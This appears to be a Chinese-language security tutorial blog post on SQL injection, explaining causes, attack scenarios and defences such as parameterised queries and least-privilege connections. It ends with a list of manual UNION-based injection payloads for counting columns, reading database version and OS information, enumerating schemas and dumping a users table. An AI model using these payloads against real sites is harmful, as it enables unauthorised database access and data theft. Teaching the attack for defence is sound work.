1
SQL注入专题(一)
![9d7221aa94b62a3474759e58cfbbf073.gif](https://img-blog.csdnimg.cn/img_convert/9d7221aa94b62a3474759e58cfbbf073.gif)
原理:
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。![947a21aa12816b5ae762cea1f78cd8d7.gif](https://img-blog.csdnimg.cn/img_convert/947a21aa12816b5ae762cea1f78cd8d7.gif)
攻击:
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。![9d7221aa94b62a3474759e58cfbbf073.gif](https://img-blog.csdnimg.cn/img_convert/9d7221aa94b62a3474759e58cfbbf073.gif)
防护:
归纳一下,主要有以下几点:1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。6.sql注入的检测方法一般采取辅助软件或网站平台来检测,MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。![947a21aa12816b5ae762cea1f78cd8d7.gif](https://img-blog.csdnimg.cn/img_convert/947a21aa12816b5ae762cea1f78cd8d7.gif)
//手工注入常见payload1' order by 2 -- /*用来猜解查询信息的列数1' and 1=2 union select user(),database(),-- 1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名1' and exists(select first_name from users) -- /猜解字段名1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
上期回顾:
【学习园地】SQL Server 2008概述
【学习园地】主流数据库
【学习园地】属于自己的CTF训练场—CTFd平台
【学习园地】Docker容器
【学习园地】数据库设计
【学习园地】企业SRC搭建
【学习园地】关系数据库
初识数据库
自己动手搭建私有云笔记+博客平台